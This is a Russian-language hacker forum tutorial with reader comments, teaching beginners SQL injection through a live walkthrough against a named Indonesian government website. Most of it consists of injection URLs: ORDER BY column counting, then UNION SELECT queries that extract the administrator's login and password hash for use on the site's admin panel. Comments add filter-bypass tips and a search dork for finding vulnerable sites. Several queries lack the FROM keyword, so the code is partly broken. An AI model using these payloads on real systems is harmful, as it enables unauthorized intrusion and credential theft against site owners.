Привет хацкеры, кул хацкеры и новички! С вами redbu11.В этой статье пойдёт речь о такой уязвимости как
SQL injection.Я знаю что таких статей в инете немеряно, но всё-таки я напишу ещё одну статейку о
такой уязвимости.Я написал эту статью для тех у кого ещё не сформировалась идея о этой уязвимости, то
есть новичкам в этом деле.То что я буду рассказывать, совсем не новое, Так что расчитана для
новичков.Я думаю вы все знаете что такое SQL уязвимость, а если нет, то поищите в инете, там много про
это написано, просто если я щас начну объяснять что это такое в больших подробностях, то это займёт
много времени.И так приступим.))
Для обнаружения SQL инъекции я чаще всего пользуюсь манипулированием числовыми параметрами в GET
запросах.Вот например меня как-то заинтересовала такая ссылка:
www.komnasfbpi.go.id/berita_eng.php?id=58
тут id=58 и есть числовой параметр.Итак, проверим её на уязвимость.В конец ссылки добавляем одиночную
кавычку '.
www.komnasfbpi.go.id/berita_eng.php?id=58'
И смотрим на результат.Опа! Страница загрузилась неправильно и выдала нам SQL ошибку:
Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'
Ура! Это и есть SQL уязвимость.Но чтобы убедиться что уязвимость действительно существует, проверим
ещё кое-что.ПЕреходим опять по адресу:
www.komnasfbpi.go.id/berita_eng.php?id=58
И видим там страницу с заголовком «KOMNAS FBPI CONTINUES BIRD FLU CONTROL PROGRAM».Ок, теперь
перейдём на страничку «ниже», не на 58-ую а на 57-ую, то есть так:
www.komnasfbpi.go.id/berita_eng.php?id=57
И видим там страницу уже с другим заголовком «Air Batu Asahan Villagers Are Confirmed Bird Flu
Negative».Теперь переходим обратно на 58-ую страницу:
www.komnasfbpi.go.id/berita_eng.php?id=58
Теперь когда мы знаем что 58-ая страница имеет заголовок «KOMNAS FBPI CONTINUES BIRD FLU CONTROL
PROGRAM» а 57-ая имеет заголовок «Air Batu Asahan Villagers Are Confirmed Bird Flu Negative» то
проверим переменную «id» на уязвимость и составим такой запрос:
www.komnasfbpi.go.id/berita_eng.php?id=58-1/*
(Всегда закрываем символом /*)И смотрим на результат.В результате загрузилась не 58 а 57
страница.Ура!!! Уязвимость действительно есть! А что это значит? С предыдущим запросом мы попытались
выполнить простую арифметическую операцию, то есть 58-1, и сайт её не отвильтровал а выполнил, и в
результате мы получили 58-1=57, это означает что вместо этого мы можем вставить любой другой запрос
который нам будет более полезен.Мы сейчас будем пытаться вытащить с помощью этой уязвимости из базы
данных логин и пасс админа.И так, сначало нам надо выяснить сколько полей в базе данных.Я для этого
использую оператор «order+by».И так проверим сколько-же там полей используя order+by:
www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+30/*
На такой запрос нам выдалась ошибка, это означает что полей меньше чем 30.Пробуем так:
www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+20/*
На это нам тоже выдалась ошибка, значит полей меньше 20-и.Пробуем дальше:
www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+10/*
На это нам не выдалось никакой ошибки, это означает что полей или 10, или больше 10-и.Продалжаем в
этом-же духе пока не обнарушем верное количество полей:
www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+15/*
Страница снова загрузилась с ошибкой, это означает что полей меньше чем 15, пробуем так:
www.komnasfbpi.go.id/berita_eng.php?id=58+order+by+14/*
Уряяя! Страница 14 загрузилась нормально, а 15-ая загружалась с ошибкой, это означает что полей
всего-лишь 14, это нам только наруку.Теперь зная что полей 14, посмотрим какое из них принтабельное, то
есть с помощью какого поле выводиться информация.Для этого нам нужно воспользоваться оператором
«union+select», составляем запрос, делаеться это так:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14/*
Смотрим на результат, когда страница загрузиться, прокручиваем страницу до самого низа, и мы увидим что
там отоброжаеться цифра 9, это означает что для вывода информации используеться 9-ое поле.
Ну вот теперь когда мы знаем что в базе только 14 полей и использутся 9-ое принтабельное, переходим к
следующему этапу, будем долбить базу данных и пробовать вытащить оттуда логип и пасс Админа.))Нам щас
нужно проверить существует ли в базе данных таблици с названием типа users,user,admin И т.д… Это
тоже делаеться с оператором union+select.Нам щас нужен логин и пасс админа, давайте начнём с
логина.Для того чтоб узнать логин, нам надо проверить существует ли в базе данных таблица с названием
name, или login, где и храниться логин.Теперь мы и будем проверять на наличие всех этих таблиц.Делаем
это как я уже говорил оператором union+select таким образом:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+
users/*
Этим мы проверяем существует ли таблица users в базе данных, если такая существует, то страница
загрузиться без ошибки, а если такой нет, то загрузиться с ошибкой.Нам на это выдалась ошибка, значет
такой нет.Проверим есть ли таблица users:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+user/
*
к сожалению и такой не оказалось, тоже нам на это выдалась ошибка...((Но не надо
расстраиваться! Многие админы используют префиксы перед названием таблицы.Теперь обратите внимание на
ту ошибку которая нам выводиться:
Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'
Посмотрите там на этот текст: tbl_berita
Тут используеться префикс tbl_ перед названием таблицы.Давайте проверим существует ли таблица user
используя этот префикс! Ок, делаем запрос:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+tbl_u
ser/*
Есть! Ура! Страница загрузилась нормально, значит таблица tbl_user существует! Теперь попробуем достать
имя пользователя из таблицы tbl_user.Проверим, существует ли запись с названием name в таблицы
tbl_user.Это делаесть почти также, только в 9-ое поле вставляем слово name, этим мы и будем проверять
существует ли запись name в таблицы tbl_user.Этот запрос будет выглядеть так:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,name,10,11,12,13,14+tb
l_user/*
Посмотрим что мы на это получем, А нам на это страница загрузилась нормально, значит есть
такая! Прокручиваем страничку в самый низ, и видим там запись «Administrator», Ураа!!! У нас теперь есть
логин админа, осталось достать пасс.Пробуем:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,password,10,11,12,13,1
4+tbl_user/*
На это нам страница загрузилась с ошибкой, это означает что нет записи password, пробум так:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,passwd,10,11,12,13,14+
tbl_user/*
На это тоже выдалась ошибка,, такой тоже нет((пробуем дальше:
www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,pwd,10,11,12,13,14+tbl
_user/*
Даа! Страница загрузилась без ошибки, и это значит что запись!!! Прокручиваем страницу в самый низ и
там мы видим пасс админа!!! Осталось его расшифровать и всё!!!
Потом переходим сюда
www.komnasfbpi.go.id/admin вводим полученные данные, и всё, дальше всё
зависит от вашей фантазии!
Вот и всё, всё о чём бы я с вами хотел бы поделиться.Я описал просенькую SQL инъекцию.
ВНИМАНИЕ! Автор не несёт никакой ответственности за некорректное использование размещённой здесь
информации! Всё что здесь размещено, это не пробуждения к действию, а всего-лишь для ознакомительных
целей!
Ну вот и всё, всем пока и удачи со взломом!
36 комментариев
Эх, гуглим на запрос define:хацкер. Первый результат.
А в целом статья хорошая.
но качественно
а нужно
http://www.komnasfbpi.go.id/berita_eng.php?id=58+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from+
tbl_user/*
Хоть каждый день можно описывать найденные скули...
Но тем кто тока-тока пришёл на ХЗ покатит...
парни помогайте. у меня какаято фигня с этим... у меня запросы идут без /* а с ним ошибку выдает... это ничего?
Пробуй вместо /* ставить --
так не хуй на этом же сайте проделывать уже проделанное.ищи сам уязвимость.
id=5+union+select+1,2,3,4,5/*
то тогда попробуй так:
id=-5+union+select+1,2,3,4,5/*
это ваще возможно?
inurl:*.php?id=*